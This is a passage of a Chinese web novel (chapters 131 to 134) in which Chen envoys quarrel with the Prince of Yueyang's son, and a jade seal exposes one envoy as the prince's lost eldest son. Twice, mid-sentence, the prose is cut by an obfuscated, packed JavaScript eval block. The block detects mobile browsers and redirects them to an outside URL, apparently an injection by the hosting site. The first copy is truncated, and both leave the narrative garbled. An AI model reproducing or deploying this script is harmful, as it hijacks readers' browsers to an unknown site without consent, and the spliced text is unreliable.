阿八搓着双掌,迫不及待等着上菜,“对啊,把锅里的肉先盛上一盆,吃饱喝足了再跟你打听点事。” 哪知没吃饱没喝足,事情就自己找上门来了。 四人正吃在兴头上,忽听外面一阵人喊马叫,吵吵嚷嚷骂骂咧咧的声音传来,“这他妈谁拴的马,从你家祖坟上跑出来了?谁的,出来。” 掌柜的脸色骤变,恨其不争地对陶修这桌人指了一下,急的无法发声,转身冲了出去。 阿八仰头喝完肉汤,冷静地擦擦嘴,对同伴说:“可能是拴马的绳子松了,是我的马。” 公仪林慢悠悠道:“出去处理一下,肉会给你留。” 片刻后,阿八也变了脸色,冲进来对公仪林道:“公子,还需你出马,外面人太多,我一张嘴讲不过他们,都不讲理啊,抡拳就要上来。” “一顿饭还没吃完就有麻烦找上门,看来此地对外地人很戒备啊?康乐你先吃,我去去就来。” 公仪林长身而起,带着一股傲气走了出去。 外面拥堵了很多人,除去看热闹的百姓,余下的人皆穿黑色劲装,腰间别刀,站在一起盛气凌人压迫十足,看来惹上的不是小麻烦。 “因为什么事得罪的他们?” 阿八道:“是我的马走到路中央,正好被这伙人撞上,中间那位公子被掀翻了。” 公仪林站在门槛略高的位置,从人群里找受伤的人,朗声问:“请问是哪位伤了?我先在此赔罪,伤了哪里,我带去看医工。” “那是何人,站高处对本大爷耀武扬威的是要做什么?把他拉下来!”人群里的这声音清越,但口气嚣张。 立即有三个孔武强壮的男人走出来,甩着粗暴的双臂走向公仪林,阿八岂容他们动公子,不待三人走近就三拳五脚将他们打退,喝道:“讲不讲理?我们公子都赔礼道歉要带你去看医工了,别不依不饶得理不饶人?” 店掌柜突然扑向阿八抱住他手臂,拼命摇头暗示,“别得罪他们。” “你们敢如此猖狂,连我的人都敢打?”嚣张的声音又从人群发出,夹带怒气。 这是公仪林听过最好笑的一句话,耀武扬威的人居然还敢指责他猖狂?他慢慢走下门槛外的两层石阶企图与摔倒的公子哥讲讲理。 只见一个白衣少年拨开两层护卫一瘸一拐走出来,气势朗朗站在公仪林跟前,怒瞪一双清泠泠的双眼,正欲开口,却因眼前人不俗的外表而按捺下怒火,上下丈量此人一番后问:“哪里来的?贩马的?拢共贩了几匹马还不给拴好,粗心啊!”说完,伸出手轻蔑地弹了下公仪林肩头,“我的手伤了,瞧,它不听使唤——” 一言未了,少年人迅速抓住公仪林的手臂朝反方向猛撅,力道既狠戾又霸道。 若不是与他有势均力敌的身高优势,公仪林在他的突袭下绝对吃亏。公仪林立即手握成拳,绷紧左臂往前扳回来。 131.这就维护上了 两人掐着手臂暗暗较劲,现场噤若寒蝉,都在为这个不知好歹的外地人得罪了小老虎而捏把汗。 少年的额头青筋渐显,发力的右手发疼发僵,快坚持不住时突然抬起左手朝公仪林胸口袭去。猛然出击的一拳刹那就被陶修截在掌中,他和公仪林分别抓住少年的左右臂往身前一带一推,“咚”一声将他掀翻在地。 “小老虎?”陶修冷嘲一声过后,发现人群都在嘀嘀咕咕怎么敢惹小老虎。陶修是冷静人,但这少年欺负公仪林,把他撂翻在地上也算是无可厚非吧。 “你们这群胆大妄为的马夫——”地上有店家洗肉时溅出的污水,少年狼狈地从污水里爬起来,雪白的衣裾上染了大片血水污迹,瞬间怒火当胸,把张白皙绝美的脸气的几乎变形,指着让他吃亏的二人对身边的护卫下令:“给我杀了,都杀掉!” 命令一下,围观百姓倏地退后多步,熟练的让出一个宽敞的“武场”。八名黑衣护卫刷一下列成一队站在小老虎前面,威风凛凛杀气腾腾,不容分说拔了刀剑就跃过来。 这少年公子的手段让公仪林大为惊骇,要说他自己也是个不怕惹事的,但与此人一两句不顺意的争执就敢取人性命相比,他的“嚣张”简直不值一提。 “好厉害的小子。阿八,上——”公仪林和陶修同时退下。 阿八的大名叫孙栖寒,是公仪林精挑细选出的得力干将,当初在二十多个竞争者中脱颖而出,家世好、长得好、功夫好,小伙子行事作风较为火热,遇事喜欢用拳头解决,但现在,拳头是不管用了,一听令下,拎刀就上。 刀光剑影,锐器相接,火光四溅,阿八以一敌八虽看着力怯,但其勇气已赢得一圈百姓的喝彩。 白衣少年回头瞪着兴奋的人群,沉着脸威胁道:“回头一个一个揭了你们的皮。” 阿八正与对手杀的不可开胶时,又听公仪林出声命令:“勿伤人命。” 不能杀人,这还打什么,阿八分神之际身后突遭一人袭击,剑从他肋下擦过,鲜血洇上衣裳。陶修见那少年阴险嗜杀,能这样当街发狂的必不是简单人物,决定先擒了他再坐下细细的聊。 突然一阵疾风从陶修身边闪过,带起他鬓角的碎发和几片衣摆,定睛细看时,胡峤已掠入围住阿八的铁阵中,只见他目标锁定三人,拎刀急速向他们袭去,一道虚影,胡峤当先就斩了一个护卫的腰,说是斩,他又手下留情,刀刃碰到为止。 胡峤的每一刀都似泰山崩塌,被他锁定的三个护卫根本接不住他的千钧之力,六条臂膀皆又麻又颤,个个吓的脸色苍白跪坐于地。胡峤在敌手里杀的游刃有余,刀刀见血,却又收着力度,不致那伤口太骇人。他的刀法令人血液沸腾,不止围观百姓,连阿八都佩服的五体投地,果然是一副高手的模样。 “够了,胡峤,住手。”公仪林喝一声。 胡峤把脸色难堪的白衣少年推到公仪林面前。 明明是张稚气的脸却全是桀骜的戾气,公仪林起了玩心,两指捏上他的下巴逼其抬脸,侧首笑问陶修:“哥哥,此人桀骜难驯,不如我们带回去好好整治一下,让他知道对人和颜悦色是种什么感觉?” 少年咬着后牙槽奋力挣脱他的手,躲开一步,见一地狼狈的手下,依然用跋扈的语气威胁道:“你们带我去哪?敢动我一根毫毛,不出此城你们就会被巡城禁卫剁为肉泥。” “哪家公子啊你,好大的口气,”公仪林逗鼠似的绕着他转一圈,说:“我的马跑到路中央冲撞到你确实不对,我已赔了不是欲带你去看医工,是你蛮横的上来就动手,这些百姓都能作证的啊——”刚说到此,忽见围观百姓吓得跑了四成,剩下的六成又往后退了一丈远。 公仪林低头沉吟,“这家伙莫不是梁主的儿子?这下可糟了,不对,听说梁主无子嗣,那就不是了。” 陶修站上前,对少年一揖,温声道:“小公子,多有得罪,但方才的情形紧急我们若不还手就要等你宰割。请问府上哪里,我们现在就登门谢罪,至于这些受伤的侍卫,他会出钱救治。”他指了下身后的富人。 公仪林昂首一笑。 “把他们杀的东倒西歪,赔礼、出钱就够了?你觉得我会稀罕马贩的几个钱?” 公仪林被他说烦了,也学少年刚才戳他肩的动作,戳了不下十次,“贩马、马贩,有完没完,你过去是不是被贩马的欺凌过?哪天你真需要马时只怕是千金难求,还瞧不上我们贩马的钱,你赚过几个?看你这明珠似的打扮,想必是被老父亲保护的天真烂漫的玉娃娃吧?” 这话好像割了少年心头一刀,他瞋目切齿,一下冲上来抓住公仪林的衣襟,“何关汝小子?” 公仪林也怒气冲天,反手回击,将要对准少年打下一掌时,掌柜的突然冲上来抱住他高举的手臂,吓得几乎要哭了:“公子莫冲动,这位可是岳阳王府的大公子,打不得,打不得,他真能把你们斩为肉酱啊。” 晴天霹雳,公仪林当即愣住,震惊地扫了眼白衣少年,又转头看向同样呆愣的陶修。 “康乐?”他试喊一句。 陶修紧盯少年的脸庞,魂像被抽了三分,许久才问:“你是岳阳王之子?你叫什么名字?” 少年见他们被震慑地脸色发白,暗暗得意,小人得志似的突然向公仪林抡下一拳,迅速跳开危险圈,叫嚣:“对付你们几个马夫居然要搬出岳阳王的身份,实在有辱我名声,听好了,申时我要看见你们跪在王府门口认错,等我想个有趣的惩治法子。” 阿八正待发火,公仪林揉着被打的脸颊,阻止道:“给他狂去,莫理他。” “他居然敢打你,我——”阿八朝少年狠狠啐了一声。 就在陶修要抓住少年再细问时,一阵急促轰隆的马蹄声从东边奔来,一马当先的人挥舞手中的剑驱赶聚拢的百姓,“散开,快散开,小心撞到。” 人群闪出一条道,一支二十多人的铁骑队迅速勒马停下,头戴兜鍪披绿色披风的人跳下马大喊一声:“陈国使者何在?” 阿八怒吼一声:“这里!” 这回轮到少年人及一帮手下目瞪口呆了,什么陈国,哪里的使者,这是一群马贩子,白衣少年感觉眼角的肉在簌簌跳动。 百姓可笑乐了,今日的好戏还很多咧,不但看见王府的小老虎被打,还能看见陈国使者被揍,回去可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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公仪林无来由的生起怒火,冷哼一声:“小?他应该有十六七了吧?你又比他大多少?”对比兄弟二人天壤之别的穿着和迥然不同的性格,他更是来气。要不是陶修经历过十几年的贫贱,性格绝不会像现在这样温顺谦卑,他本该似这少年一样飞扬却不跋扈,像他此时一样温润却不自卑。 “得了便宜的小子。”公仪林当着少年的面摆出傲气,睥睨着他,对巡城统领道:“将军请带路。” 离开之前,陶修走到少年跟前,开口问他:“萧蕴?你父母安好?” 萧蕴推他一把,怒问:“你是什么东西敢呼我名?我父王母后怎么轮得着你来问?” 陶修笑而不语,转身上马,对萧蕴拱手道:“小公子,改日再见。” 到了礼部的下榻处,公仪林与梁国的左右侍郎絮叨几句后,向他们坦诚此趟是因私而来并无要务,要左侍郎能安排他见见岳阳王。 左侍郎犹豫半晌道:“王爷深居简出不问政事,朝中大臣想见他都难,何况是陈国人,我只能尽力而为。” 不用公仪林、陶修操心,第二日岳阳王就先要见他们了,这还亏了萧蕴回去的大肆渲染。 当日,返回王府的萧蕴从正大门开始就拖着右腿往后院找母亲诉苦,一路上问了三个仆从:“王妃在哪?” 得到一样的回道:“可能在翰墨小院。” 萧蕴脸色逐渐阴沉,从他记事起母亲就喜欢待在那个小院,十几年了,院中像有冤魂缠着她,经常折磨的她精神恍惚,却又无法逃离那里,他暗暗起誓终有一天要一把火烧掉小院。直到七岁第一次听人提起“萧琢”,他不信自己有个兄弟,跑去问母亲:“听人说我有个兄长叫萧琢,他们说他夭折了,是不是真的?” 132.你可别太嚣张 他看着母亲脸色大变,拽着衣袍在地上不停寻找,神志逐渐失去清明,嘴里急着念叨:“麟儿?麟儿在哪?”丢魂似的找上一阵子,惊恐地大叫一声,掩面大哭。 母亲疯狂的模样给萧蕴留下不小阴影,他一把火烧掉翰墨小院的想法也就此搁置,却因此恨上了翰墨小院。 萧蕴费尽心思挖掘出翰墨小院的秘密,原来是他那死去多年的大哥曾经的住所,房间陈设一如从前,他母亲更是常常去院中折磨自己,出了那院子就还是说话轻柔、优雅美丽的女人。 母亲给他的宠溺足够粉碎他心中对死去兄长的嫉妒,尽管她偶尔还会因萧琢的死痛苦失智。 萧蕴搬起右腿放入门槛,艰难地走到书案前,轻声问:“母后,怎么又来这里了?仲秋那日不是刚去枫叶寺为他超度过?这里不常住人霉味甚重,小心再咳嗽。” 他故意拖着摔伤的右腿把屋里整齐的书架又整理一次,直到如愿听见母亲急切地询问:“兕儿,你的腿怎么了?” 萧蕴问过父母,为何乳名为兕,父亲回他:“你兄长小名为麒麟,但他的命格太弱没能压住此名,你的名字只能取的壮些。”意思就是土一些村一些了。 萧蕴继续用鸡毛掸子掸去书架、床铺上并不存在的灰尘,随口回答:“无事无事,出门听个戏,不想被人给撞了。”言罢,皱眉倒吸冷气,装的有模有样。 “谁撞了你,看过大夫了?快走过来给我看看。” 萧蕴卷起裤脚,露出膝盖上钱币大小的擦伤说:“外面看不出来,可能伤了骨。母后你不知那伙人多嚣张,我已报上家门还敢对我动手。” “真的不是你出言不逊先得罪了他们?” 萧蕴见母亲还没站在自己这边,终于拿出杀手锏,“他们扬言要割了我的头,让我回不了家。” 此话一出,王妃瞳孔骤缩,脸色苍白,站起来抱住萧蕴的头,四下乱摸:“给我看看,他们要杀你?” 这不异于剜心的损招太令母亲神伤,萧蕴只用过两次,事后必定无限懊悔,这是第三次,要不是那个混账陈使捏他下巴强逼他抬头引起周围百姓一阵哄笑,此事能算就算了,捏下巴是什么动作,羞辱性的动作只有他对人干过,今日竟然吃了这种亏。 萧蕴察觉母亲在发抖,于心不忍,立即仰头哄她:“我好好的回来了!”露出细长白嫩的脖颈说:“一点伤都没有。” 被长子去世伤了根基的王妃岂是一两句好听话就能安慰的,她检查过萧蕴的脖子依旧惊魂不定,跌跌撞撞跑出了翰墨小院。 于是乎,陈国来的几人被顺顺当当“请”进了岳阳王府。 来江陵之前,随船一起来的还有几箱来自吴郡和建康的精美玉器和丝绸,这会已正常送到他们下榻的地方。公仪林打算只带阿八前往王府。 公仪林从几箱要献给梁主的贽见礼中精挑细选几样带去岳阳王府,听见斜靠在门边的陶修出声问:“此趟来并不为公,不担心他们一刀结果了你?” 公仪林转过身对着陶修深深叹口气,摇头以表失望:“既然是生死大事,你看看你,漫不经心来上一句,好像要死的人与你无关。” 自见过萧蕴后,陶修就变得比往常更沉默,见公仪林抱屈,立即拉回神思辩解:“没有,要不我跟你一块去?” “不用,我这不还有你这张护身符嘛!等我先进去摸摸王府的底再商议下一步怎么走。我今日看那混小子跟你有几分相似,你现在露面不妥。” “王妃受过刺激,身子久病羸弱,我突然出现只怕她承受不住。” “她是你老母,你记得这一点。” 公仪林从箱中拿出一把漆黑的大弓,上漆金色柳叶纹,对着弓弹了下:“这是圣上赏我的,可惜你那兄弟,啧啧,我不准备给他了。” 陶修笑道:“他的性子,给他了未必领情。” “我不喜你这样的口气提起他。” “哪种口气?” “纵容、宠爱,理所应当。你可从没这样对我,我比你还小几岁,算起来你是看着我长大的,怎么了,都比不上你们一母同胞?” “看着你长大?这就过分了,我怎么记得有一年深秋天冷,你命人把我沉了塘,我要看着你长大岂不是我教导不周?” 公仪林见他提起那件后悔不迭的旧事,露出邪邪的坏笑,走过去一把搂住他的腰,赔罪道:“康乐啊对不起,我也想倒回那年秋天把自己踢下水,现在每到仲秋我就想起那件事。” 角落突然传来怪声,“咳——嗯嗯——”二人急抬头,才发现蹲在箱子后面只露一颗头的阿八。 “神出鬼没的。”公仪林对他空放一箭。 阿八急道:“我可是一直都跟在你后面,你眼神不好怪谁?还有,我没听见你们说话,什么都没看见。” 第二日清晨公仪林到达岳阳王府时,萧蕴已在正门前“恭候”多时。他头戴红色小冠、纤细的红色帽璎从他清冷白皙的脸颊一路系至下巴,薄唇红润、眼睛露着冷气,整张脸精致单削,他手抓皮鞭,一下一下敲击左手掌心,散漫地等着来人。 “哟,陈使,昨晚我连夜把你们二人的使节看了个遍,可花费我不短的时间啊,原来是陈国的散骑侍郎和公仪家的右卫将军,千里迢迢来我穷乡僻壤处,不为公,难道为私?既为私,又是哪件私事值得你们大老远跑来一趟?” 公仪林揖礼笑道:“文书上拢共就几行字小公子还看至半夜,是不是眼睛不好或是个不肯读书的,昨日打架也不见你身手出彩,我很好奇,这些年你都在做什么?” “你,姓公仪的你别太嚣张,真以为陈国来的我就不能治你?”这人偏偏复姓公仪,骂起来不得劲,若是姓张姓李,只需大口一张咒骂一句:姓张的你别太过分。这气势一下子就上来了,公仪的,就像熟人之间的嬉戏打闹。 “不嚣张,这是我的常态。” 萧蕴抖开皮鞭从大门石阶上一跃而下,狠厉的鞭子扯裂空气撕咬而来,公仪林纹丝不动,他身后的阿八迅速伸出长臂一把抓住鞭子在手掌绕一圈,毫不费力就将萧蕴拽个趔趄。 公仪林挥手让阿八退下,打算与萧蕴来场近身肉搏。公仪林也是带了几年兵的老资历,被形式逼迫着习武锻炼,在身体刚拔高显得纤细的萧蕴跟前,他英武强壮,拳法炉火纯青,萧蕴根本不是他的对手。 公仪林的拳脚密不透风,招式刚猛,萧蕴被打的连连后退,恼的面红耳赤。他把鞭子朝地上一掼,倏地从腰间掏出一把短锏朝公仪林腹部刺去。 这小子果真被惯的无法无天,明知他们身份也敢直接动手 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萧蕴回头瞪着他:“你是不是跟我有仇,这种废话胆敢再说第二次我一定弄死你。” “用你三脚猫的功夫弄死我?” “我且听听你到底为何而来,心存什么奸计。” 萧蕴抱臂走在前面带路,傲气十足,一夜过来,他爹承诺要好好教训陈使的目的达到后,右腿也随之恢复如初,现在只等他爹治罪于几个陈使。 公仪林则放缓脚步落下一段距离跟着,悄悄打量王府的内景,这些地方陶修以前是走过的,每一根栏杆可能都留下过他的手印,他很想亲眼看看当年陶修走出王府逆转命运的东角门长什么样。 经过一座假山水池,不知从哪处引下来的清水在山石上撞碎流淌,水声清脆悦耳,流入一方池子里,池子里的水必定是活水,清澈见鱼。走过假山,踏上长长的朱红长廊,走到尽头进入圆门,视线豁然开朗,景致竟与他在山间看见的非常相似,几株低矮粗壮的松柏把此处笼罩的幽静无声,唯枝头鸟鸣声叫得空旷灵动,翠绿的藤蔓自树和假山石上垂落,把小天地遮成一堵绿墙,隔绝了墙外的喧嚣与烟尘,没想到府中还有这样的洞天。 岳阳王端坐在一丛绿藤下,从松柏的枝丫间透出一道晨光,恰好落在他的面部和肩头,令其半个身子沐浴在金光之中,面前摆了张方形竹桌,正悠然盯着桌中央轻烟缕缕的一锅清茶,见远道而来的客使走进来,萧宸从容而起。 公仪林行礼之后才抬头看早有耳闻的岳阳王。此人身量高大,穿一身素净的杏色圆领直裾,套一件蓝色半袖对襟,气质清雅风流,玉骨仙姿,从他身上再难找到一点武将的影子,唯双目幽深精明。 萧宸走至公仪林跟前,客气地邀他上座,“没想到陈使竟如此年轻,快请坐。” “额?”这可不是萧蕴要想要的结果,昨日被摔的右腿开始隐隐发疼,委屈地提醒父亲一声:“父王?此人刚才还在外面放肆了一把。” 公仪林顿时尴尬至极,忙要开口解释。 萧宸抬手阻止,对儿子说:“平日我对你的约束太松懈,竟然连大陈使者都敢得罪。你现在要是有事忙就退下,想留下就坐我身边老老实实地听着。” 公仪林从未见过父亲教训儿子竟这样温和的,很像双方在商量一件事,暗道:陶修脾气可能像他爹。 133.我忍他很久了 “王爷,昨日的事本该有个更好的解决方法,是我没管好手下,一时冲动与小公子的人打起来,我现在正式向小公子赔礼道歉。”公仪林转向萧蕴:“小公子,多有得罪,望你海涵。” 岳阳王客气道:“陈使初来乍到就被我的人得罪,萧某十分过意不去。年轻人锐气冲天到一起互不顺眼都挺正常,兕儿的本性我一清二楚,从不肯吃一点亏,又仗着我对他的纵容,平时确实放肆的很啊。” 萧蕴侧首哼了一声。 “不知陈使此次来江陵所为何事,本该先见梁主,但礼部侍郎说你游玩至此,我想就先不惊动圣上,单独见见你。” 公仪林道:“确实如他们所言,我生性爱玩,溯江向西时突发奇想想走得更远些,不知不觉就到了此地。” “胡说八道。”萧蕴当真不给人面子,指着下面捧着礼物站成一排的人说:“你带来的贽见礼也是突发奇想西上那一刻准备好的?” 公仪林笑笑,“小公子,到这里多日行程,预备些薄礼的时间足够了。”假话听听就算了,心知肚明点到为止就行,说出来多没意思。 公仪林起身把此处隔绝凡尘的绿藤山蔓都观赏一遍,忍不住赞道:“无怪乎古人说,修身养性摆脱尘俗其实并不在人迹罕至的灵秀之地,饮清净之茶,交有道之人,家中就是福地。” 岳阳王呵呵笑道:“不提什么修身养性,这些都是夫人打理着解闷的。” “王妃幽闲高雅,一草一木都侍弄的如此有灵性。”公仪林在一株秋兰前倾下腰,手指轻触纤细柔嫩的白色花瓣,花心的露珠晶莹剔透,像是已见到种下这株兰花的人。 公仪林把此处都赏过一遍,又同萧宸提起枫叶寺、沿江而来的风景,此地与陈国不同的民风,唯独没提到实时的政事。后来他突然话锋一转,向岳阳王提出奇怪的请求,要萧蕴陪同他把王府能走的地方都走一遍。 起初萧宸以为陈使是为投奔大陈的萧钰而来,见他迟迟不提,自己不便先开口,半天下来更摸不懂年轻人来这里到底是要做什么。他想探探府邸确实不足为虑,何况现在府中已没有值得旁人惦记的东西,就让萧蕴陪这位陈使在王府走走也无妨。 岳阳王府很大,萧蕴陪的极不耐烦,不停催促公仪林快走。公仪林则不疾不徐,每到一处就装做刚进城的乡巴佬问东问西,池里的鱼、树上的果、墙上的雨痕都问了个遍。 萧蕴鞭不离手,几番举鞭威胁,笑着嘲笑他:“我知道你打的什么主意,是不是贩马不赚钱,摸清府中的路晚上好做贼?” “呵,还没人敢这样称呼过我,贼?这叫法怪有意思的。” “你的脸真不一般的厚,什么好话赖话都听得进去。” “跟个小孩一般见识,显得我也幼稚。”公仪林突然驻足,左边明明有个院门,萧蕴却避开了,“这里还没去看过,先走这边。” 萧蕴回头阴恻恻地看着他,冷笑一声:“你想进去?” “如果不是后堂庭院,当然想看看。” “此处才是王府的心脉,你以为你是谁,你敢进去,我就能不受任何责罚弄死你。” 公仪林越发好奇,但见他目露凶光确实不像是简单的威胁,只得远远地透过圆形院门朝内看上一眼,在稀疏的樟树叶里,他瞥见“翰墨”二字,瞧萧蕴的脸色,不知道的还以为写着“有鬼”。 公仪林清清嗓子,随口说了一句:“东角门在哪?带我去看看。” 这回轮到萧蕴猛地驻脚,鬼附身一样慢慢转过身,皮鞭突然抽过来,公仪林轻身一跃,抓住廊庑的横梁躲过凌厉的一鞭,没待站稳,萧蕴已紧攥他的衣襟逼问道:“你来此的目的究竟是什么?你不是陈使?” “印信你也看过了,谁敢冒充大陈右卫,我就想在你的监视下四下走走。” “你为何会知道东角门?” “偌大的府邸,东南西北角门有什么奇怪的?” “为何只选东角门?” “我若顺着你的话答下去,显得我做贼心虚,确实是随口一问。” 萧蕴松开他的衣襟,眯着眼思索他刚才的话,此人要求在王府乱逛绝非好奇使然,他一定有目的,“不,你说‘东角门在哪’时一定知道有这个地方。” “听不懂你说什么。东角门藏着妖魔鬼怪,难道我提都不能提?” “王府根本没有东角门。” “没有?”公仪林暗暗惊诧,下一步还想去当年陶修失踪的松柏林看看,看来他们对那件事的忌惮多年都未消,再问就一定打草惊蛇,还是老老实实在礼部安排的馆舍等他们亲自来请吧。 府里能逛的地方几乎逛完,公仪林找个借口要回去:“已至晌午,我看小公子也烦了,我就不留在府中用饭了。” “你处处好奇,难道就不好奇王府吃什么?” “不了,不了,下榻处还有人等我回去一块用饭,就不叨扰府上了。我们改日再见。” 公仪林走出王府与等候的阿八汇合,回头看向大门时,居然连个送他出门的人都没有,不禁腹诽:“亏萧颐把这个萧蕴夸得天花乱坠,我看除了仪表不俗外无一可取之处。对了,不知萧颐还在不在江陵。” 他回到馆舍一下马,就跟陶修抱怨:“我忍了萧蕴很久,一个妈为何能生出如此性格迥异的人?” “你和你哥像不像?” “像啊,兄长他多沉稳的一人。” “变着法自夸。”陶修没有心情与他贫嘴,两人快步走进屋里坐下,把这半日之行讲个清清楚楚。 “你见到王妃了?”明知结果,陶修还是忍不住自问自答,“她或许正在园中,你才没能看见!” “这事急不得,需静心等候或是顺其自然,我把东西留下了,这两日他们一定会请人来找我。” 陶修敛眸沉思,片刻后抬头说:“我想与他们见而不认,见过了,说上几句话,我们就立刻返程。” “康乐,你这是焦虑的悲观做法。你有大陈官员身份加持,即便有人想害你还得顾忌这层关系,何况还有我,我绝不会让你羊入虎口。” “要考虑的东西实在太多,岳阳王兵权被夺,和萧钰之间维持了表面的平静,我的出现一定会毁了这难得的安稳。还有,他们杀两个异国使者又有何难,你见过因为使臣被杀而大肆动兵的先例?我怕连累你。” 公仪林朝门外大喊一声:“都什么时辰了,为何还没人来管饭食,难道要我们自备食物?”他对陶修笑笑:“我们来说点轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659014|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松的,说说你们萧家的人。” “萧家的人怎么了?” “只剩下一个你师父念念不忘的萧瑛我还没见过,我挺好奇他的。”他感叹不已:“我见过的几个萧家人,个个神采斐然,如珍珠美玉,就连你那讨厌的弟弟都一副‘谁还能比我俊’的狂劲。” “何时成了傅粉何郎,以前不见你在意这些表面东西,都城待上几年就被公仪鸾带偏了。” “纯属欣赏,纯属欣赏。”公仪林忙解释一遍,“你老爹的模样仙风道骨,想让你早点看见他,我比你还急,今日一见,真神仙一样的人物。” “这几日我再耐心的等一等。” 陈使走后,萧蕴去回禀老父亲人已被他送走。萧宸讶异一下:“你就这样招待远方而来的陈使,没给他们备席?” “那人居心叵测,多看一眼我都想抽他。” “你这孩子,基本的礼数还要有啊!” 萧蕴一样一样掀开陈使送来的贽见礼上覆盖的红绸,掀一样就嫌弃的嗤鼻一次,“玉佩?这玩意叮叮当当谁爱戴谁戴?” 萧宸摸了下坠在腰间的环佩,没有做声。 “紫砂茶具?谁渴了用这玩意慢里斯条的啜茶喝?” 萧宸端到嘴边的茶盏又默默放下,还是没有出声。 “这是什么?红珊瑚手串,还夹一粒金珠,难道是给母后的?”他在掌心颠了两次又丢下。 “丝绸?真当我们梁国穷乡僻壤什么都没有?还送这么多,马贩子就是能运货。” 萧宸终于忍受不了儿子刻薄的挑剔,把手一指,刚要开口,忽见儿子被一张弓箭吸引。 “这张弓真不错,”他从红绸下取出一支箭搭上弦,对准远处一棵老松,“嗖”一声射出去,箭镞深深扎进树身,他反复细看此弓结实紧绷的牛筋弦和漆黑油亮的弓臂,对陈使的嫌恶稍稍改观。 “父王,你要不要也试一把?” 发誓不再碰兵器的萧宸冷声拒绝:“拿回去自己玩。对别人送的礼不管喜不喜欢,把你的嘴给我闭上,懂不懂?” 萧蕴放下弓坐到父亲对面要茶吃,左手撑地调整坐姿时忽被一样东西硌了一下,他捡起一块黑玉印章朝竹几上一丢:“你的东西掉了。” 萧宸一壁好奇是什么东西,接过来拿在手中说:“这不是我的东西。”调转着看过一遍又放下了,“陈使坐过你的位置,可能是他掉的,抽空送还给他。” 萧蕴把玉章捏在指间把玩一番,因那张弓给他的改观,突然想看看此枚印章上刻的是什么字,从茶碗里沾了一点水涂在章上,猛呵一口气朝手面一戳,一字一字辨认,“萧—康—乐—印”,疑惑道:“这不是我们府中的东西吗?” 只听“哐当”一声茶碗坠地的滚动声,萧蕴猛然抬头,见父亲那深蓝色的鹤氅上都是茶水泼湿的印迹,“父王你——” 萧宸双目死盯着他手中的黑玉,脸色发白,“你再说一遍,上面刻的什么?” “萧康乐。这是王府的东西?” 萧宸一把夺过玉章,拼命在手面上按下一个又一个方方正正的白印,从残存的红色印泥下终于认出多年不敢提起却又无比熟悉的字。他推开竹几站起来,踉跄走出这与世隔绝的“山林”。 134.是我儿的旧物 萧宸太熟悉这四个字了,甚至称得上恨它。十六年前的七月初三,长子萧琢在桌上留下最后几个字就消失了,他刻完章试盖在一张白纸上的几处印迹已在翰墨小院的桌上躺了十六年,他的母亲像着魔一样三天两头坐在书案前盯着它们发呆。 萧宸在后院没找到夫人,直接来了翰墨小院,撞开虚掩的门走进屋里,什么也不说,在书案上一阵乱翻。 王妃有些吃惊,忙问:“你在找什么?” “麟儿留下的最后几个字在哪?”萧宸满眼通红,急不可耐。 王妃从一摞书的最下面拿出那张泛黄的纸。萧宸将之展开,把沾过印泥的黑玉章朝旧迹旁按下。 夫妇二人惨白地盯着一模一样的章印。 “王爷,这是什么意思?你手中拿的是什么?” 萧宸瘫坐在席上,摇头道:“我不知道,我不知道怎么回事,这枚麒麟章突然就出现在半亩林。”半亩林就是他们夫妻二人栽栽种种打理出来避世的后院。 “当年麟儿在这里对黑玉下刀时叮嘱我不能来,你来过,你也看过,你快认认这个东西你熟不熟悉?” 王妃颤抖着双手接过黑玉,只需一眼,就认出莹润的黑色麒麟印,是萧琢亲手雕的那一枚,她死都不会忘记。王妃双腿的筋骤然被抽走,滑软在桌旁,也向纸上盖下一个她不敢相信的事实。 “是他的东西,是他的……”王妃掩面哭泣,捧着小小的玉哭的哀哀戚戚。 萧蕴终于追了进来,看见失魂落魄的父母失态的模样,质问道:“这到底是什么?萧康乐又是谁?”想到这间压抑窒息的翰墨小院和父母耗在此处的大把时光,怒火烧心,失去理智地责问他们:“难道你们当年死过两个儿子?萧康乐究竟是谁?” 萧宸已无骂他的心情,半天才说出一句话:“康乐也是你哥哥的小名。” 萧蕴抢了印章就要走,发狠道:“我找他去。” “找谁?给我回来。” 萧蕴转身道:“我就说那陈使有问题,今日带他在府中走了一圈,他竟提出要看东角门,要看封了十多年的东角门,他一个旁国来的人为何知道府里有东角门?” “他真这样说过?他现在哪里?” 吃了午膳后的四位陈使打算再去集市上转转,礼部的人对他们再三叮嘱要注意自身安全,言外之意就是让他们别再随意跟本地人动手,免得惹了事让他们不好做人。 陶修满腹忧虑,哪还有逛街市的心思,对他们仨说:“你们去四处看看,我留下给你们把衣裳洗了。”一时找不到不外出的借口,随便扯了一个。 阿八从支在门外的胡床上跳起来说:“使不得啊陶大人。”来时他还在司子面前逞能:“什么洗衣裳、煮茶、更衣我都会。”结果一路走来,他非但没伸过手,还是公仪公子摆好碗筷喊他一起吃。 公仪公子这么做也是帮陶县尹摆碗时顺手的事,不必感激他,可四人换下的衣裳确实有点多,这就不能让陶县尹动手了。 阿八抢过陶修手里要拿去洗的衣裳丢在盆里,“放这,他们自然安排人拿去浆洗。” 没人陪着,公仪林自然也不想出去,朝阿八哼一声:“既然大家都有洗衣裳的好心情,就不出去了,我们一块去洗,谁也别想讨巧。” 萧蕴气冲冲闯来时,就见四位陈使都蹲在井沿搓洗衣裳,个个搓的眉开眼笑、怡然自得,还交流洗衣裳的心得。他走过来一脚踢翻公仪林的木盆,拔剑指着他的咽喉问:“你们是什么人?这个东西从何而来?”把玉章朝公仪林身上猛砸过去。 陶修快速站起来接了章,右手对准萧蕴的手臂轻轻一切,他手中的剑立时落地,“小公子有话好说,武力并不能解决任何事。” “你又是什么东西?”萧蕴嫌恶地甩开陶修安抚他情绪的手。 